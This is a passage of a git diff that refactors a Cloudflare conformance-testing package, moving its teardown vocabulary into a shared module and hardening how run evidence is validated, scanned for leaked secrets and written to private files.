'resumedProcess', + 'retainedIdentities', + 'routeHostnames', + 'scenario', + 'scriptName', + 'sdkRequests', + 'second', + 'secretNameCount', + 'settleAttempts', + 'settledByReread', + 'sha256', + 'size', + 'stale', + 'standingCount', + 'startedAt', + 'state', + 'status', + 'surfaces', + 'sweeps', + 'teardown', + 'teardownCall', + 'teardownProvider', + 'terminalForce', + 'trafficPercentage', + 'transitionRevision', + 'version', + 'versionId', + 'versionsGone', + 'workCount', + 'worker', + 'zoneIdSha256Suffix', + ...DIRECT_SCENARIO_PHASES, + ...DIRECT_RESIDUAL_SURFACES, +]); +// The transports a reference invocation can take, and therefore the counters +// every attempt record carries. +const TRANSPORTS = ['provider', 'maintenance', 'application']; +// The staging name a publication writes under, before the rename that makes it +// `evidence.json`. +const TEMPORARY_PREFIX = '.evidence-'; +const TEMPORARY_SUFFIX = '.tmp'; const pick = (value, keys) => Object.fromEntries(keys.map((key) => [key, value[key]])); const nullable = (value, project) => (value == null ? null : project(value)); -const roles = (value, keys, project) => +// Keyed projection over a fixed member set: roles for most proofs, and a +// before/after pair for the inventories. +const members = (value, keys, project) => Object.fromEntries(keys.map((key) => [key, nullable(value[key], project)])); const suffix = (value) => createHash('sha256').update(value).digest('hex').slice(-8); @@ -77,6 +218,92 @@ export function buildDirectEvidence({ const observation = (value) => pick(value, ['versionId', 'cpuLimitMs']); const traffic = (value) => pick(value, ['versionId', 'cpuLimitMs', 'trafficPercentage']); + const scenarioSection = nullable(scenario, (value) => ({ + phase: value.phase, + failure: nullable(value.failure ?? invocationFailure, (failure) => ({ + code: failure.code, + ordinal: failure.ordinal, + detail: failure.detail ?? null, + })), + invocationCount: snapshot.invocationCount, + sdkRequests: value.sdkRequests, + attempts: pick(value.attempts, TRANSPORTS), + phaseCalls: pick(value.phaseCalls, DIRECT_SCENARIO_PHASES), + restart: nullable(value.proofs.restart, (restart) => ({ + lossOrdinal: restart.lossOrdinal, + replayOrdinal: restart.replayOrdinal, + resumedProcess: restart.resumedProcess !== null, + })), + initial: members(value.proofs.initial, ['a', 'b', 'recovery'], observation), + candidate: members(value.proofs.candidate, ['a', 'b'], traffic), + final: members(value.proofs.final, ['a', 'b'], traffic), + fence: { + drain: members(value.proofs.fence.drain, ['a', 'b'], transition), + sweeps: members(value.proofs.fence.sweeps, ['a', 'b'], (sweeps) => ({ + first: sweep(sweeps.first), + second: nullable(sweeps.second, sweep), + intervalMs: sweeps.intervalMs, + })), + reopen: members(value.proofs.fence.reopen, ['a', 'b'], transition), + probes: members(value.proofs.fence.probes, ['a', 'b'], (probe) => + pick(probe, ['current', 'missing', 'stale', 'future', 'mutationEpoch']), + ), + }, + exports: members(value.proofs.exports, ['a', 'b'], (proof) => + pick(proof, ['location', 'size', 'sha256']), + ), + inventories: members( + value.proofs.inventories, + ['before', 'after'], + (proof) => pick(proof, ['routeHostnames']), + ), + terminalForce: members(value.proofs.terminalForce, ['a'], (proof) => ({ + ...pick(proof, ['databaseId', 'scriptName', 'ordinal']), + attempts: pick(proof.attempts, TRANSPORTS), + })), + })); + const teardownSection = nullable(teardown, (value) => ({ + failure: value.failure, + phase: value.phase, + providerRequests: value.providerRequests, + receipts: { + ingress: nullable(value.receipts.ingress, settlement), + worker: nullable(value.receipts.worker, (worker) => ({ + settledByReread: worker.settledByReread, + secretNameCount: worker.secretNames.length, + })), + fleet: nullable(value.receipts.fleet, settlement), + quota: nullable(value.receipts.quota, settlement), + exports: nullable(value.receipts.exports, settlement), + exportObjects: { + count: value.receipts.exportObjects.length, + settledByReread: value.receipts.exportObjects.filter( + (receipt) => receipt.settledByReread, + ).length, + }, + }, + residual: nullable(value.residual, (residual) => ({ + surfaces: Object.fromEntries( + DIRECT_RESIDUAL_SURFACES.map((key) => [ + key, + pick(residual.surfaces[key], [ + 'prefixCount', + 'globalCount', + 'exhaustive', + ]), + ]), + ), + bucketJurisdictions: [...residual.bucketJurisdictions], + dispatch: pick(residual.dispatch, [ + 'kind', + 'count', + 'status', + 'prefixCount', + ]), + versionsGone: residual.versionsGone, + settleAttempts: residual.settleAttempts, + })), + })); return { version: 1, contractVersion: prepared.manifest.contractVersion, @@ -97,154 +324,62 @@ export function buildDirectEvidence({ referenceModuleSetSha256: prepared.referenceModuleSetSha256, referenceUploadBytes: prepared.referenceUploadBytes, commands: [ - 'pnpm fleet-control:credentialed:direct -- --run', - 'pnpm fleet-control:credentialed:direct -- --resume', + DIRECT_CONFORMANCE_COMMANDS.run, + DIRECT_CONFORMANCE_COMMANDS.resume, ], bootstrap: nullable(bootstrap, (value) => ({ dispatch: pick(value.context.dispatch, ['kind', 'count']), activeVersionId: value.active?.versionId ?? null, })), - scenario: nullable(scenario, (value) => ({ - phase: value.phase, - failure: nullable(value.failure ?? invocationFailure, (failure) => ({ - code: failure.code, - ordinal: failure.ordinal, - detail: failure.detail ?? null, - })), - invocationCount: snapshot.invocationCount, - sdkRequests: value.sdkRequests, - attempts: pick(value.attempts, [ - 'provider', - 'maintenance', - 'application', - ]), - phaseCalls: pick(value.phaseCalls, DIRECT_SCENARIO_PHASES), - restart: nullable(value.proofs.restart, (restart) => ({ - lossOrdinal: restart.lossOrdinal, - replayOrdinal: restart.replayOrdinal, - resumedProcess: restart.resumedProcess !== null, - })), - initial: roles(value.proofs.initial, ['a', 'b', 'recovery'], observation), - candidate: roles(value.proofs.candidate, ['a', 'b'], traffic), - final: roles(value.proofs.final, ['a', 'b'], traffic), - fence: { - drain: roles(value.proofs.fence.drain, ['a', 'b'], transition), - sweeps: roles(value.proofs.fence.sweeps, ['a', 'b'], (sweeps) => ({ - first: sweep(sweeps.first), - second: nullable(sweeps.second, sweep), - intervalMs: sweeps.intervalMs, - })), - reopen: roles(value.proofs.fence.reopen, ['a', 'b'], transition), - probes: roles(value.proofs.fence.probes, ['a', 'b'], (probe) => - pick(probe, [ - 'current', - 'missing', - 'stale', - 'future', - 'mutationEpoch', - ]), - ), - }, - exports: roles(value.proofs.exports, ['a', 'b'], (proof) => - pick(proof, ['location', 'size', 'sha256']), - ), - inventories: roles( - value.proofs.inventories, - ['before', 'after'], - (proof) => pick(proof, ['routeHostnames']), - ), - terminalForce: roles(value.proofs.terminalForce, ['a'], (proof) => ({ - ...pick(proof, ['databaseId', 'scriptName', 'ordinal']), - attempts: pick(proof.attempts, [ - 'provider', - 'maintenance', - 'application', - ]), - })), - })), - teardown: nullable(teardown, (value) => ({ - failure: value.failure, - phase: value.phase, - providerRequests: value.providerRequests, - receipts: { - ingress: nullable(value.receipts.ingress, settlement), - worker: nullable(value.receipts.worker, (worker) => ({ - settledByReread: worker.settledByReread, - secretNameCount: worker.secretNames.length, - })), - fleet: nullable(value.receipts.fleet, settlement), - quota: nullable(value.receipts.quota, settlement), - exports: nullable(value.receipts.exports, settlement), - exportObjects: { - count: value.receipts.exportObjects.length, - settledByReread: value.receipts.exportObjects.filter( - (receipt) => receipt.settledByReread, - ).length, - }, - }, - residual: nullable(value.residual, (residual) => ({ - surfaces: Object.fromEntries( - DIRECT_RESIDUAL_SURFACES.map((key) => [ - key, - pick(residual.surfaces[key], [ - 'prefixCount', - 'globalCount', - 'exhaustive', - ]), - ]), - ), - bucketJurisdictions: [...residual.bucketJurisdictions], - dispatch: pick(residual.dispatch, [ - 'kind', - 'count', - 'status', - 'prefixCount', - ]), - versionsGone: residual.versionsGone, - settleAttempts: residual.settleAttempts, - })), - })), + scenario: scenarioSection, + teardown: teardownSection, teardownCall: outcome.teardownCall, - retainedIdentities: { - fleetUuid: receipts?.fleet ? null : (bootstrap?.fleet?.uuid ?? null), - quotaUuid: receipts?.quota ? null : (bootstrap?.quota?.uuid ?? null), - exportBucket: receipts?.exports - ? null - : (bootstrap?.exports?.name ?? null), - scriptName: receipts?.worker - ? null - : (bootstrap?.upload?.scriptName ?? null), - activeVersionId: receipts?.worker - ? null - : (bootstrap?.active?.versionId ?? null), - }, + // The survival rule is teardown's: a receipt for a resource means the + // resource is gone, so the identity it had is no longer retained. + retainedIdentities: survivingIdentities(bootstrap, receipts ?? {}), cost: { basis: 'request-counters', - referenceProvider: scenario?.attempts.provider ?? null, - referenceMaintenance: scenario?.attempts.maintenance ?? null, - referenceApplication: scenario?.attempts.application ?? null, - sdkRequests: scenario?.sdkRequests ?? null, + referenceProvider: scenarioSection?.attempts.provider ?? null, + referenceMaintenance: scenarioSection?.attempts.maintenance ?? null, + referenceApplication: scenarioSection?.attempts.application ?? null, + sdkRequests: scenarioSection?.sdkRequests ?? null, + // Read from the snapshot rather than from the scenario section, which + // is the one counter that survives a run with no scenario at all. referenceInvocations: snapshot.invocationCount, - teardownProvider: teardown?.providerRequests ?? null, + teardownProvider: teardownSection?.providerRequests ?? null, billed: null, }, }; } -const identityPaths = new Set([ +/** + * The dotted paths of the projected provider strings the journal decodes with + * `identifier` — any trimmed, control-free string up to 128 characters — which + * is wider than the identity shape below, so these are the paths at which a + * decoded journal can still carry a value the evidence boundary must refuse. + * Two rules keep a path out of the list: a value the journal already bounds to + * the scenario charset (`run-state.mjs`'s `scenarioId`, whose accepted set the + * identity shape contains) reaches this boundary narrower than the guard, and a + * prefix-derived name such as `retainedIdentities.exportBucket` or + * `retainedIdentities.scriptName` is the run's own, not the provider's. + * `test/direct-credentialed-evidence.test.ts` resolves every member against a + * maximal artifact, so a renamed or moved projection key is a red test rather + * than a guard that silently stops matching. + */ +export const DIRECT_EVIDENCE_IDENTITY_PATHS = Object.freeze([ 'retainedIdentities.fleetUuid', 'retainedIdentities.quotaUuid', 'retainedIdentities.activeVersionId', 'bootstrap.activeVersionId', - 'scenario.initial.a.versionId', - 'scenario.initial.b.versionId', - 'scenario.initial.recovery.versionId', - 'scenario.candidate.a.versionId', - 'scenario.candidate.b.versionId', - 'scenario.final.a.versionId', - 'scenario.final.b.versionId', ]); +const identityPaths = new Set(DIRECT_EVIDENCE_IDENTITY_PATHS); +/** + * `hit.keyPath` is diagnostic provenance, not withheld output: an object key + * that is itself a credential becomes part of the path, so a caller that + * prints a hit scans the rendered line against the same sentinels first. The + * CLI's own line guard is what makes its refusal output safe. + */ export function inspectDirectEvidence(evidence, sentinels) { const serialized = `${JSON.stringify(evidence)}\n`; const decoded = JSON.parse(serialized); @@ -266,7 +401,7 @@ export function inspectDirectEvidence(evidence, sentinels) { identityPaths.has(path) && !/^[A-Za-z0-9][A-Za-z0-9._-]{0,127}$/u.test(value) ) - return { sentinelClass: 'identity-shape', keyPath: path }; + return { refusalClass: 'identity-shape', keyPath: path }; } if (value && typeof value === 'object') { for (const [key, child] of Object.entries(value)) { @@ -286,17 +421,17 @@ export function inspectDirectEvidence(evidence, sentinels) { const memberHit = hit(member, key); if (memberHit) return { hit: memberHit, serialized }; } + // No member span carries it, so the sentinel is completed by the + // serialization's own structure — a separator, a brace, the trailing + // newline. The empty path names that: the hit belongs to the document, not + // to any member of it. return { hit: byteHit, serialized }; } -export function scanDirectEvidence(evidence, sentinels) { - return inspectDirectEvidence(evidence, sentinels).hit; -} - +/** Raised only after the artifact has replaced its predecessor, so the class is the publication proof. */ export class DirectEvidenceWriteError extends Error { constructor() { super('evidence-failed'); - this.written = true; } } @@ -310,25 +445,34 @@ export async function writeDirectEvidence({ let parent; let temporary; let written = false; - let result; + let failed = false; try { const { hit, serialized } = inspectDirectEvidence(evidence, sentinels); if (hit) return { written: false, ...hit }; const bytes = Buffer.from(serialized); parent = await open( directory, - constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW, + fileFlags(constants.O_RDONLY | constants.O_DIRECTORY), + ); + assertPrivate(await parent.stat(), true); + // A signal between the create below and the rename leaves the temporary + // file behind. The run holds the directory's lock, so any sibling left + // there is a dead one from an interrupted publication, and it is swept + // before a new one is created. + for (const name of await readdir(directory)) + if (name.startsWith(TEMPORARY_PREFIX) && name.endsWith(TEMPORARY_SUFFIX)) + await unlink(join(directory, name)); + const path = join( + directory, + `${TEMPORARY_PREFIX}${randomUUID()}${TEMPORARY_SUFFIX}`, ); - const path = join(directory, `.evidence-${randomUUID()}.tmp`); file = await open( path, - constants.O_WRONLY | - constants.O_CREAT | - constants.O_EXCL | - constants.O_NOFOLLOW, + fileFlags(constants.O_WRONLY | constants.O_CREAT | constants.O_EXCL), 0o600, ); temporary = path; + assertPrivate(await file.stat(), false); await file.writeFile(bytes); await file.sync(); if (!bytes.equals(await readBack(path))) throw new Error('evidence-failed'); @@ -338,18 +482,16 @@ export async function writeDirectEvidence({ temporary = undefined; written = true; await parent.sync(); - result = { written, failed: false }; } catch { - result = { written, failed: true }; + failed = true; } finally { const cleanup = await Promise.allSettled([ ...(file ? [file.close()] : []), ...(temporary ? [unlink(temporary)] : []), ...(parent ? [parent.close()] : []), ]); - if (cleanup.some((entry) => entry.status === 'rejected')) - result = { written, failed: true }; + if (cleanup.some((entry) => entry.status === 'rejected')) failed = true; } - if (result.failed && written) throw new DirectEvidenceWriteError(); - return { written: result.written }; + if (failed && written) throw new DirectEvidenceWriteError(); + return { written }; } diff --git a/packages/fleet-control/scripts/direct-credentialed-provider.d.mts b/packages/fleet-control/scripts/direct-credentialed-provider.d.mts index a38fff47..be41130d 100644 --- a/packages/fleet-control/scripts/direct-credentialed-provider.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-provider.d.mts @@ -82,6 +82,7 @@ export function bucketPages( sdk: Cloudflare; selectors: Readonly<{ account_id: string }>; jurisdiction: 'default' | 'eu' | 'fedramp'; + bound: number; }>, ): Promise>[]>; diff --git a/packages/fleet-control/scripts/direct-credentialed-provider.mjs b/packages/fleet-control/scripts/direct-credentialed-provider.mjs index da0b7349..174a0f86 100644 --- a/packages/fleet-control/scripts/direct-credentialed-provider.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-provider.mjs @@ -317,6 +317,10 @@ function proofFetch(transport, shape, bound) { (totalCount !== undefined && totalCount !== rows.length) ) refuse('provider-unavailable'); + // A positive rule, stated independently of the refusals above it: the + // attestation records what the provider corroborated rather than what + // survived a refusal, so a relaxed refusal downgrades the page to + // `exhaustive: false` instead of silently attesting it. singlePageAttestations.set( rows, totalCount === rows.length || @@ -396,10 +400,7 @@ export async function singlePage(promise) { return { rows, exhaustive: singlePageAttestations.get(rows) ?? false }; } -export async function bucketPages({ sdk, selectors, jurisdiction }) { - const { CLOUDFLARE_INVENTORY_BOUND: bound } = await import( - '../src/cloudflare-client-config.ts' - ); +export async function bucketPages({ sdk, selectors, jurisdiction, bound }) { const rows = []; let startAfter; // Only an empty page proves the end: a full page that happens to be last is diff --git a/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.d.mts b/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.d.mts new file mode 100644 index 00000000..347352db --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.d.mts @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: Apache-2.0 + +/** + * The secrets the reference upload binds, in the order the upload pairs them + * with their values. + */ +export const REFERENCE_SECRET_NAMES: readonly string[]; + +export type DirectTeardownPhase = + | 'refused' + | 'ingress' + | 'worker' + | 'fleet' + | 'quota' + | 'export-objects' + | 'exports' + | 'residual' + | 'complete'; + +export type DirectTeardownMutation = + | 'disable-reference-ingress' + | 'delete-reference-worker' + | 'delete-fleet-d1' + | 'delete-quota-d1' + | 'delete-export-object' + | 'delete-export-r2'; + +export type DirectTeardownFailure = + | 'scenario-incomplete' + | 'outcome-unknown' + | 'unexpected-object' + | 'identity-mismatch' + | 'residual-present' + | 'forbidden' + | 'provider-unavailable' + | 'budget-exhausted' + | 'invalid-state'; + +export type DirectResidualSurface = + | 'databases' + | 'durableObjectNamespaces' + | 'scripts' + | 'buckets' + | 'domains' + | 'routes' + | 'queues'; + +export const DIRECT_TEARDOWN_PHASES: readonly DirectTeardownPhase[]; + +export const DIRECT_TEARDOWN_MUTATIONS: readonly DirectTeardownMutation[]; + +export const DIRECT_TEARDOWN_FAILURES: readonly DirectTeardownFailure[]; + +/** + * The refusal reasons a later run can clear, so a recorded refusal carrying + * one of them re-enters deletion once its precondition holds. + */ +export const DIRECT_TEARDOWN_RECOVERABLE_FAILURES: readonly DirectTeardownFailure[]; + +export const DIRECT_RESIDUAL_SURFACES: readonly DirectResidualSurface[]; + +export const DIRECT_TEARDOWN_MAXIMA: Readonly<{ + nameBytes: number; + keyBytes: number; + prefixNames: number; + secretNames: number; + exportObjects: number; + settleAttempts: number; +}>; diff --git a/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.mjs b/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.mjs new file mode 100644 index 00000000..38388897 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-reference-vocabulary.mjs @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: Apache-2.0 + +// The direct reference lane's shared vocabulary, beside the scenario lane's in +// `direct-credentialed-scenario-budget.mjs`. It sits below bootstrap, teardown +// and persistence so each reads one definition instead of one of them owning +// another's names. + +// The secrets the reference upload binds, in the order the upload pairs them +// with their values. Teardown asserts the set it observes against this list. +export const REFERENCE_SECRET_NAMES = Object.freeze([ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + 'DIRECT_DEPLOYMENT_SECRETS', +]); + +export const DIRECT_TEARDOWN_PHASES = Object.freeze([ + 'refused', + 'ingress', + 'worker', + 'fleet', + 'quota', + 'export-objects', + 'exports', + 'residual', + 'complete', +]); + +export const DIRECT_TEARDOWN_MUTATIONS = Object.freeze([ + 'disable-reference-ingress', + 'delete-reference-worker', + 'delete-fleet-d1', + 'delete-quota-d1', + 'delete-export-object', + 'delete-export-r2', +]); + +export const DIRECT_TEARDOWN_FAILURES = Object.freeze([ + 'scenario-incomplete', + 'outcome-unknown', + 'unexpected-object', + 'identity-mismatch', + 'residual-present', + 'forbidden', + 'provider-unavailable', + 'budget-exhausted', + 'invalid-state', +]); + +// A recorded refusal carrying one of these reasons is one a later run can +// clear: the scenario can complete, and a pending invocation or bootstrap +// mutation can settle. Every other reason stays terminal for automation. +export const DIRECT_TEARDOWN_RECOVERABLE_FAILURES = Object.freeze([ + 'scenario-incomplete', + 'outcome-unknown', +]); + +export const DIRECT_RESIDUAL_SURFACES = Object.freeze([ + 'databases', + 'durableObjectNamespaces', + 'scripts', + 'buckets', + 'domains', + 'routes', + 'queues', +]); + +export const DIRECT_TEARDOWN_MAXIMA = Object.freeze({ + nameBytes: 255, + keyBytes: 1024, + prefixNames: 16, + secretNames: 8, + exportObjects: 2, + settleAttempts: 5, +}); diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts index 5f9d1179..95c36c8e 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.d.mts @@ -1,7 +1,14 @@ // SPDX-License-Identifier: Apache-2.0 +import type { Stats } from 'node:fs'; import type { DirectConformanceNames } from './direct-credentialed-conformance-config.mjs'; import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; +import type { + DirectResidualSurface, + DirectTeardownFailure, + DirectTeardownMutation, + DirectTeardownPhase, +} from './direct-credentialed-reference-vocabulary.mjs'; import type { DirectScenarioState } from './direct-credentialed-scenario.mjs'; import type { DirectReferenceAction } from './direct-reference-contract.mjs'; @@ -122,46 +129,19 @@ export interface DirectBootstrapState { readonly pending: DirectBootstrapMutation | null; } -export type DirectTeardownPhase = - | 'refused' - | 'ingress' - | 'worker' - | 'fleet' - | 'quota' - | 'export-objects' - | 'exports' - | 'residual' - | 'complete'; - -export type DirectTeardownMutation = - | 'disable-reference-ingress' - | 'delete-reference-worker' - | 'delete-fleet-d1' - | 'delete-quota-d1' - | 'delete-export-object' - | 'delete-export-r2'; - -export type DirectTeardownFailure = - | 'scenario-incomplete' - | 'outcome-unknown' - | 'unexpected-object' - | 'identity-mismatch' - | 'residual-present' - | 'forbidden' - | 'provider-unavailable' - | 'budget-exhausted' - | 'invalid-state'; - -export type DirectResidualSurface = - | 'databases' - | 'durableObjectNamespaces' - | 'scripts' - | 'buckets' - | 'domains' - | 'routes' - | 'queues'; +export type { + DirectResidualSurface, + DirectTeardownFailure, + DirectTeardownMutation, + DirectTeardownPhase, +} from './direct-credentialed-reference-vocabulary.mjs'; export interface DirectResidualObservation { + /** + * One shape, one version, for as long as the journal has one shape: a + * journal carrying another is refused by the schema rather than migrated, + * so this field never moves off `1`. + */ readonly version: 1; readonly surfaces: Readonly< Record< @@ -170,6 +150,15 @@ export interface DirectResidualObservation { prefixCount: number; prefixNames: readonly string[]; globalCount: number | null; + /** + * One name over three derivations, so read it per surface. + * `scripts`, `domains`, `routes` and `queues` are single pages and + * carry the provider's own `result_info` attestation. `databases`, + * `durableObjectNamespaces` and `buckets` are paged to an empty page + * and carry `true` from that completed loop. A `queues` collection the + * account does not have answers 404, which records `false`: an empty + * page the provider never attested. + */ exhaustive: boolean; }> > @@ -282,22 +271,14 @@ export const DIRECT_SCENARIO_OPERATION_SLOTS: readonly [ 'decommission-recovery', ]; -export const DIRECT_TEARDOWN_PHASES: readonly DirectTeardownPhase[]; - -export const DIRECT_TEARDOWN_MUTATIONS: readonly DirectTeardownMutation[]; - -export const DIRECT_TEARDOWN_FAILURES: readonly DirectTeardownFailure[]; - -export const DIRECT_RESIDUAL_SURFACES: readonly DirectResidualSurface[]; - -export const DIRECT_TEARDOWN_MAXIMA: Readonly<{ - nameBytes: number; - keyBytes: number; - prefixNames: number; - secretNames: number; - exportObjects: number; - settleAttempts: number; -}>; +export { + DIRECT_RESIDUAL_SURFACES, + DIRECT_TEARDOWN_FAILURES, + DIRECT_TEARDOWN_MAXIMA, + DIRECT_TEARDOWN_MUTATIONS, + DIRECT_TEARDOWN_PHASES, + DIRECT_TEARDOWN_RECOVERABLE_FAILURES, +} from './direct-credentialed-reference-vocabulary.mjs'; export const DIRECT_RUN_MAX_JOURNAL_BYTES: number; @@ -323,6 +304,14 @@ export function actionSummary( action: DirectReferenceAction, ): DirectRunActionSummary; +/** + * True for a settled force-terminal `before` identity: `null`, or exactly + * `databaseId` and `scriptName`, both inside the identifier grammar the + * journal's own `before` shape decodes with. A caller guarding an observed + * identity reads this instead of restating that rule. + */ +export function isForceIdentity(value: unknown): boolean; + export function openDirectRunState( input: Readonly<{ configPath: string; @@ -335,7 +324,33 @@ export function openDirectRunState( export const DIRECT_RUN_MAX_RESUME_COUNT: number; +/** + * True while the journal does not know the outcome of an invocation or of a + * bootstrap mutation. Teardown's own pending mutation is deliberately not part + * of it: the paths that publish a teardown receipt are recording that + * mutation. + */ +export function mutationPending(snapshot: DirectRunSnapshot): boolean; + +/** The open flags every private journal and evidence handle carries. */ +export function fileFlags(access: number): number; + +/** + * Refuses a handle whose owner, mode, type or link count is not the private + * one this lane writes: `0700` for a directory, `0600` for a single-linked + * file owned by the current user. + */ +export function assertPrivate(stat: Stats, directory: boolean): void; + +/** + * The 24-byte ISO-8601 shape every journal and evidence timestamp carries. + * Anchored and stateless, so callers share the one pattern. + */ +export const DIRECT_RUN_TIMESTAMP: RegExp; + export type DirectRunStateInspection = Readonly<{ + /** The run directory this module owns, so a caller derives no layout of its own. */ + directory: string; snapshot: DirectRunSnapshot; close(): Promise; }>; diff --git a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs index dbb766fb..9377b9f0 100644 --- a/packages/fleet-control/scripts/direct-credentialed-run-state.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-run-state.mjs @@ -3,16 +3,46 @@ import { spawn } from 'node:child_process'; import { createHash, randomUUID } from 'node:crypto'; import { constants } from 'node:fs'; -import { lstat, mkdir, open, rename, rmdir, unlink } from 'node:fs/promises'; +import { + lstat, + mkdir, + open, + readdir, + rename, + rmdir, + unlink, +} from 'node:fs/promises'; import { dirname, join, resolve } from 'node:path'; import PQueue from 'p-queue'; -import { deriveDirectConformanceNames } from './direct-credentialed-conformance-config.mjs'; +import { + DNS_LABEL, + deriveDirectConformanceNames, +} from './direct-credentialed-conformance-config.mjs'; +import { + DIRECT_RESIDUAL_SURFACES, + DIRECT_TEARDOWN_FAILURES, + DIRECT_TEARDOWN_MAXIMA, + DIRECT_TEARDOWN_MUTATIONS, + DIRECT_TEARDOWN_PHASES, + DIRECT_TEARDOWN_RECOVERABLE_FAILURES, +} from './direct-credentialed-reference-vocabulary.mjs'; import { DIRECT_SCENARIO_PHASES } from './direct-credentialed-scenario-budget.mjs'; import { DIRECT_REFERENCE_BODY_LIMIT, readDirectReferenceRequest, } from './direct-reference-contract.mjs'; +// Consumers bind to the teardown vocabulary through this module's declaration +// surface, so it travels with the journal schemas that read it. +export { + DIRECT_RESIDUAL_SURFACES, + DIRECT_TEARDOWN_FAILURES, + DIRECT_TEARDOWN_MAXIMA, + DIRECT_TEARDOWN_MUTATIONS, + DIRECT_TEARDOWN_PHASES, + DIRECT_TEARDOWN_RECOVERABLE_FAILURES, +}; + const ERROR_CODES = new Set([ 'invalid-state', 'run-exists', @@ -22,6 +52,9 @@ const ERROR_CODES = new Set([ 'invocation-budget-exhausted', 'unsupported-scenario-version', ]); +// The action members a call is recorded under. A resumed `force-terminal-a` +// reads `kind` and `role` back from the settled call to recognize its own +// force, so dropping either name stops that phase recognizing it. const SUMMARY_FIELDS = [ 'kind', 'role', @@ -95,10 +128,15 @@ function digest(value) { } export const DIRECT_RUN_MAX_RESUME_COUNT = 999_999; -const RUN_TIMESTAMP = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/u; +/** + * The 24-byte ISO-8601 shape every timestamp in the journal and in the evidence + * artifact carries. The pattern is anchored and stateless, so callers share it. + */ +export const DIRECT_RUN_TIMESTAMP = + /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/u; function runTimestamp(value) { - if (typeof value !== 'string' || !RUN_TIMESTAMP.test(value)) invalid(); + if (typeof value !== 'string' || !DIRECT_RUN_TIMESTAMP.test(value)) invalid(); const parsed = Date.parse(value); if (!Number.isFinite(parsed) || new Date(parsed).toISOString() !== value) invalid(); @@ -163,6 +201,30 @@ export function actionSummary(action) { ); } +// The identifier grammar every journalled name and identity carries. It has no +// `g` flag and holds no state, so the decoder and the predicate below share it. +const SCENARIO_ID = /^[A-Za-z0-9_.:-]{1,128}$/u; + +/** + * True for a settled force-terminal `before` identity: `null`, or exactly + * `databaseId` and `scriptName`, both inside `SCENARIO_ID`. The scenario's + * settlement guard reads this, so the identity it admits is the one the + * journal's own `before` shape admits. + */ +export function isForceIdentity(value) { + if (value === null) return true; + if (!value || typeof value !== 'object' || Array.isArray(value)) return false; + return ( + Object.keys(value).length === 2 && + Object.hasOwn(value, 'databaseId') && + Object.hasOwn(value, 'scriptName') && + typeof value.databaseId === 'string' && + typeof value.scriptName === 'string' && + SCENARIO_ID.test(value.databaseId) && + SCENARIO_ID.test(value.scriptName) + ); +} + function replayableAction(action) { const result = { ...action }; if ( @@ -349,58 +411,6 @@ export const DIRECT_SCENARIO_OPERATION_SLOTS = Object.freeze([ 'decommission-recovery', ]); -export const DIRECT_TEARDOWN_PHASES = Object.freeze([ - 'refused', - 'ingress', - 'worker', - 'fleet', - 'quota', - 'export-objects', - 'exports', - 'residual', - 'complete', -]); - -export const DIRECT_TEARDOWN_MUTATIONS = Object.freeze([ - 'disable-reference-ingress', - 'delete-reference-worker', - 'delete-fleet-d1', - 'delete-quota-d1', - 'delete-export-object', - 'delete-export-r2', -]); - -export const DIRECT_TEARDOWN_FAILURES = Object.freeze([ - 'scenario-incomplete', - 'outcome-unknown', - 'unexpected-object', - 'identity-mismatch', - 'residual-present', - 'forbidden', - 'provider-unavailable', - 'budget-exhausted', - 'invalid-state', -]); - -export const DIRECT_RESIDUAL_SURFACES = Object.freeze([ - 'databases', - 'durableObjectNamespaces', - 'scripts', - 'buckets', - 'domains', - 'routes', - 'queues', -]); - -export const DIRECT_TEARDOWN_MAXIMA = Object.freeze({ - nameBytes: 255, - keyBytes: 1024, - prefixNames: 16, - secretNames: 8, - exportObjects: 2, - settleAttempts: 5, -}); - const TEARDOWN_RECEIPT_FIELD = Object.freeze({ 'disable-reference-ingress': 'ingress', 'delete-reference-worker': 'worker', @@ -426,19 +436,18 @@ const scenarioNumber = (value) => { return value; }; const scenarioId = (value) => { - if (typeof value !== 'string' || !/^[A-Za-z0-9_.:-]{1,128}$/u.test(value)) - invalid(); + if (typeof value !== 'string' || !SCENARIO_ID.test(value)) invalid(); return value; }; +// A recorded route hostname is two or more of the configuration module's DNS +// labels, inside the 253-byte name bound, carrying a letter so a numeric name +// cannot pass. It keeps `invalid()` as its failure channel: what the journal +// admits is a run-state refusal, not a configuration one. const scenarioHostname = (value) => { - if ( - typeof value !== 'string' || - value.length > 253 || - !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+$/u.test( - value, - ) || - !/[a-z]/u.test(value) - ) + if (typeof value !== 'string' || value.length > 253 || !/[a-z]/u.test(value)) + invalid(); + const labels = value.split('.'); + if (labels.length < 2 || labels.some((label) => !DNS_LABEL.test(label))) invalid(); return value; }; @@ -448,8 +457,17 @@ const scenarioEnum = if (!values.includes(value)) invalid(); return value; }; -const nullable = (schema) => (value) => - value === null ? null : scenarioShape(value, schema); +// A schema that admits null carries the mark, so the one declaration also +// answers which members of a shape may still be absent. +const NULLABLE = Symbol('nullable'); +const nullable = (schema) => { + const decode = (value) => + value === null ? null : scenarioShape(value, schema); + decode[NULLABLE] = true; + return decode; +}; +const nullableKeys = (shape) => 